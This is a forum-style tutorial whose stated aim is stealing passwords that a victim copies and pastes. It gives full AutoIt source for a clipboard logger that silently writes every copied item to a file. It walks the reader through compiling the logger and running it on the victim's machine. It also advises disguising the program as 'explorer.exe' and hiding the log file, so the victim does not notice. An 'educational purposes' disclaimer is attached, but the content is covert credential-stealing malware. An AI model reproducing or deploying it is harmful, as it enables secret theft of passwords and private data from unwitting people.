How to get passwords from installs even though they copy/paste them.
It is well known that the usual keylogger does record all the typed characters on the keyboard, but what do we do when the person doesn't use the keyboard to enter his password? And if your answear is : "You copy the file where they saved the password (in the case that u use a rat)" then find out that there are programs that keep password protected and cesured.
If you are in that case then you can use autoit to create a program that can save password which are copied to clipboard.
Steps
Autoit has a code fuction named "_ClipBoard_GetData"
- Download autoit (link).
- Go in the autoit folder
- Run "SciTE Script Editor".
- Paste in the editor this code :
Code#include <Clipboard.au3>
#include <File.au3>
While 1
$clip = _ClipBoard_GetData()
If $clip <> "0" Then
If $clip <> $oldclip Then
_FileWritelog(@UserProfileDir & "\clip.log", $clip)
$oldclip = $clip
EndIf
EndIf
Sleep(100)
WEnd - Save the script in a folder.
- Go to the folder where you saved the ".au3" file.
- Right click on it and hit "Compile"
- Run the ".exe" file that was created in the victims pc.
- After the victim has used/copied his password just go in the folder that u setup the Code and download the "clip.log".
- "clip.log" contains all the copyed things that the victim has done.
Extra tips
- Compile the code with a confusing name like "explorer.exe" because the program is shown in the victims procceses.
- Replace the "@UserProfileDir" from the code with a more hidden folder directory to prevent the victim to find the logs file.
This tutorial its just for educational purposes and I'm not responsible for what users do with the knowledge that they get from the tutorial.
If you guys don't understand something, need extra help, want to add something or feel the need to say thanks please post here.
Also sorry for my grammar errors, but english is not my native language so please excuse me✌ .


![[Image: pREk3TE.gif]](https://i.imgur.com/pREk3TE.gif)


![[Image: RV5fO.png]](https://i.imgur.com/RV5fO.png)
![[Image: SGb7JvL.gif]](https://i.imgur.com/SGb7JvL.gif)